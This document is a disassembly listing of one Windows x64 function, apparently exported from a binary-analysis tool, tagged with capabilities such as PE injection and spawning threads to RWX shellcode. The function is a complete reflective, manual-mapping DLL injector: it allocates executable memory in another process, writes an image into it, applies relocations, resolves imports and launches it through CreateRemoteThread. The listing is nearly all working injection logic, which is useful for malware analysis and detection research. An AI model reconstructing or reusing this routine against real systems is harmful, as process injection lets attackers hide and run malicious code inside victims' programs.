Function at 0x140003da0
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Rebuild import table
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x168
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov dword [rsp + 0xe8], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x130], 0
mov qword [rsp + 0xb0], 0
mov dword [rsp + 0xec], 0
mov dword [rsp + 0x140], 0
cmp qword [rsp + 0x180], 0
je 0x140003e22
cmp qword [rsp + 0x188], 0
jne 0x140003e38
lea rcx, str.invaild_argument_to_LoadRemoteLibraryR_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov rcx, qword [rsp + 0x188]
call fcn.140002c30
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x188]
call fcn.140002c50
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140003ebe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_To_allocate_Memory_in_remote_Process_Error_Code_is__x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x30], rcx
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140003f48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x48]
lea rcx, [0x14000ecf0]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov qword [rsp + 0x80], 0
jmp 0x140003f69
mov rax, qword [rsp + 0x80]
inc rax
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
cmp qword [rsp + 0x80], rax
jae 0x140004052
imul rax, qword [rsp + 0x80], 0x28
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 0x30]
cmp dword [rcx + rax + 0x14], 0
jne 0x140003f9a
jmp 0x140003f56
imul rax, qword [rsp + 0x80], 0x28
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 0x30]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
imul rax, qword [rsp + 0x80], 0x28
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 0x30]
mov eax, dword [rcx + rax + 0x10]
imul rcx, qword [rsp + 0x80], 0x28
mov rdx, qword [rsp + 0x68]
mov rdx, qword [rdx + 0x30]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0x188]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000404d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0xb8]
lea rcx, [0x14000ed30]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
jmp 0x140003f56
cmp qword [rsp + 0xd8], 0
je 0x140004373
mov dword [rsp + 0x50], 0
jmp 0x140004075
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
cmp dword [rsp + 0x50], eax
jae 0x140004373
lea rax, [rsp + 0x144]
lea rcx, [0x14000e0c4]
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x144]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x98], 0xffffffffffffffff
inc qword [rsp + 0x98]
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x98]
cmp byte [rax + rcx], 0
jne 0x1400040bf
mov rax, qword [rsp + 0x98]
mov ecx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x68]
mov rdx, qword [rdx + 0x30]
add rdx, rcx
mov rcx, rdx
mov r8, rax
lea rdx, [rsp + 0x144]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004115
jmp 0x14000406b
mov eax, dword [rsp + 0x50]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 0x30]
mov eax, dword [rcx + rax + 0x14]
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x40], 0
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0xf8], rax
mov eax, dword [rsp + 0xfc]
cmp dword [rsp + 0x40], eax
jae 0x14000436c
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0xc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
mov eax, dword [rsp + 0x40]
add rax, 8
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0xd0]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rsp + 0xa8], eax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0xc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0x54], 0
jmp 0x1400041fc
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0xa8]
cmp dword [rsp + 0x54], eax
jae 0x140004367
mov eax, dword [rsp + 0x40]
add rax, 2
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0xc8]
movzx eax, word [rcx + rax*2]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
test eax, eax
jne 0x14000423a
jmp 0x1400041f2
mov eax, dword [rsp + 0x54]
mov ecx, 0xfff
mov rdx, qword [rsp + 0xc8]
movzx eax, word [rdx + rax*2]
and ax, cx
movzx eax, ax
mov rcx, qword [rsp + 0xd0]
add eax, dword [rcx]
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x138], 0
mov eax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x138]
mov rdx, rax
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0
jne 0x1400042e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, rcx
lea rcx, [0x14000ed70]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x138]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x138], rax
mov eax, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x138]
mov rdx, rax
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0
jne 0x140004362
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, eax
mov edx, eax
lea rcx, [0x14000eda8]
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
jmp 0x1400041f2
jmp 0x14000415b
jmp 0x140004373
mov qword [rsp + 0x70], 0
mov eax, dword [rsp + 0x58]
mov ecx, eax
call fcn.14000b408
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x1400043ba
lea rcx, str.failed_to_allocate_memory_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov eax, dword [rsp + 0x58]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0
jne 0x140004417
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x48]
lea rcx, str.Failed_reading_memory_at_address__p__Erro_code__0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov qword [rsp + 0x90], 0
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x108], rax
mov eax, dword [rsp + 0x108]
add rax, qword [rsp + 0x70]
mov qword [rsp + 0x90], rax
lea rax, [0x14000d509]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xa0], 0
mov rax, qword [rsp + 0x90]
cmp dword [rax + 0xc], 0
je 0x1400045c1
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0xc]
add rax, qword [rsp + 0x70]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
je 0x1400045a8
mov qword [rsp + 0x60], 0
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
cmp qword [rax], 0
je 0x1400045a8
mov rax, qword [rsp + 0x60]
movabs rcx, 0x8000000000000000
mov rax, qword [rax]
and rax, rcx
test rax, rax
je 0x140004545
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
and rax, 0xffff
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0x110]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rax
jmp 0x140004595
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
add rax, 2
mov rdx, rax
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x120]
mov qword [rax], rcx
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0x60], rax
jmp 0x1400044e6
mov rax, qword [rsp + 0x90]
add rax, 0x14
mov qword [rsp + 0x90], rax
jmp 0x140004473
mov eax, dword [rsp + 0x58]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140004611
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x48]
lea rcx, str.Failed_writing_process_memory_at_address__p_Error_Code_0x_x_r_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x128]
mov r8d, 0x100000
xor edx, edx
mov rcx, qword [rsp + 0x180]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
jne 0x14000469d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.failed_to_create_remote_thread_Erro_Code__x_n
call fcn.140001070
mov eax, 0xffffffff
jmp 0x1400046ad
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000b3a0
add rsp, 0x168
pop rdi
pop rsi
ret